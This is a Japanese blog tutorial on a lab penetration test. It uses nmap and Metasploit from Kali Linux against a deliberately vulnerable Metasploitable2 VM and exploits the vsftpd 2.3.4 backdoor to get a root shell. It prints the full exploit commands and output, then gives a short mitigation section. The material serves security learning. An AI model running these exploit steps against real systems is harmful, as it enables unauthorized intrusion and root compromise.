見出し画像

Kali LinuxのMetasploitで脆弱性を突いたペネトレーションテスト

 Metasploitという世界では有名なペネトレーションツールを利用して、脆弱性が含まれたツールを持つサーバを攻撃、遠隔操作する事例を紹介します。
 攻撃用のサーバ、Kali LinuxはデフォルトでMetasploitを使用することができます。程度にもよりますが、深刻な脆弱性を持ったツールを使っていることの恐さがわかると思います。

 ※念の為、こういったものを悪用するのは犯罪です。利用するのは自己責任でお願いいたします。

・Kali Linux
・Metasploit

前提

Kali Linux実行環境があること。
Virtual BoxにKali Linuxインストール
metasploitable実行環境があること。
⇒以下参照。

環境について

今回ターゲットとなるサーバにはmetasploitableというものを使います。
脆弱性が含まれたサーバでMetasploitの動作テストに使われます。
以下リンクでVMDKが含まれたZIPファイルがダウンロードできるのでVirtualBoxなどに設定して立ち上げます。
・metasploitable2 - download

・ネットワーク
ネットワークアドレス: 172.20.10.0/28

・サーバ: IP
Kali Linux (攻撃者): 172.20.10.13
Metasploitable(ターゲット): 172.20.10.5

ポートスキャン(nmap)

まずKaliでポートスキャンをしてローカルネットワーク内のホストIPを検索します。

root@kali:~# nmap -sP 172.20.10.0/28
Starting Nmap 7.70 ( https://nmap.org ) at タイムスタンプ JST
Nmap scan report for 172.20.10.1
Host is up (0.0029s latency).
MAC Address: B2:DD:5D:D2:49:64 (Unknown)
Nmap scan report for 172.20.10.2
Host is up (0.00020s latency).
MAC Address: 90:61:AE:ED:ED:BF (Intel Corporate)
Nmap scan report for 172.20.10.5
Host is up (0.00043s latency).
MAC Address: 08:00:27:C7:B3:9A (Oracle VirtualBox virtual NIC)
Nmap scan report for 172.20.10.13
Host is up.
Nmap done: 16 IP addresses (4 hosts up) scanned in 3.95 seconds

自分以外に172.20.10.5というIPがあることがわかります。
そして以下コマンドで172.20.10.5をポートスキャンします。

nmap -sV -O -p- 172.20.10.5

※オプションについて
-p- 1~65535番までのポートを対象とするに
-sV各ポートのサービスのバージョン表示
-O ターゲットのOSを特定

実行すると以下のように表示されます。

root@kali:~# nmap -sV -O -p- 172.20.10.5
Starting Nmap 7.70 ( https://nmap.org ) at タイムスタンプ JST
Nmap scan report for 172.20.10.5
Host is up (0.00025s latency).
Not shown: 65505 closed ports
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login
514/tcp   open  tcpwrapped
1099/tcp  open  rmiregistry GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
35896/tcp open  rmiregistry GNU Classpath grmiregistry
37623/tcp open  nlockmgr    1-4 (RPC #100021)
40375/tcp open  status      1 (RPC #100024)
60835/tcp open  mountd      1-3 (RPC #100005)
MAC Address: 08:00:27:C7:B3:9A (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 130.23 seconds

 ここでは21番のvsftpd2.3.4と445番のsmbd、またVNCも怪しそうです。
CVE DetailsExploit-DBでvsftpd2.3.4を検索すると、Backdoor Command Executionという脆弱性があることがわかります。
 内容としては、:)を含むユーザ名でFTPにログインするとポート6200にバックドアが開き、
そのためポート6200(TCP)にアクセスすることでvsftpdの実行権限で任意のコマンドを実行できるというものです。
 またExploit-DBの検索結果のリンクから、脆弱性を突くためのファイルもダウンロードできますが、今回既にKali Linuxでvsftpd_234_backdoortというファイルで用意されています。
 その内容も21番で:)を含むユーザ名を入力し6200でバックドアから侵入する内容です。


Metasploitでvsftpdのバックドアを利用

metasplot起動

msfconsole

以下のようなコンソールに切り替わります。

vsftpd_234_backdoorを指定

msf5 > use exploit/unix/ftp/vsftpd_234_backdoor

ターゲット設定

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 172.20.10.5

vsftpd_234_backdoor実行にあたり情報を表示

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  172.20.10.5      yes       The target address range or CIDR identifier
   RPORT   21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic

実行

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 172.20.10.5:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 172.20.10.5:21 - USER: 331 Please specify the password.
[+] 172.20.10.5:21 - Backdoor service has been spawned, handling...
[+] 172.20.10.5:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.20.10.13:43587 -> 172.20.10.5:6200) at タイムスタンプ +0900

プロンプトが返ってこないので操作しにくいですがroot権限なのでほとんどのことができます。

whoami
root
pwd
/

ここで前回記事に上げた辞書式攻撃でのパスワード解析や、SSHについての情報が取得され、
またポート3306がオープンでしていたのでMySQLのユーザ、パスワードも知られた場合、深刻な被害、情報漏洩にもなります。またrootを奪取された場合ログを消去、改ざんされてしまいます。

対策

 ウェブアプリケーションやソフトウェアライブラリ、プラットフォームの脆弱性対策(パッチ適用など)。CVEなどの情報を定期的に収集していること。
また不要なポートは開けないのと、改ざん検知システムの導入なども効果があると思います。

関連記事


いいなと思ったら応援しよう!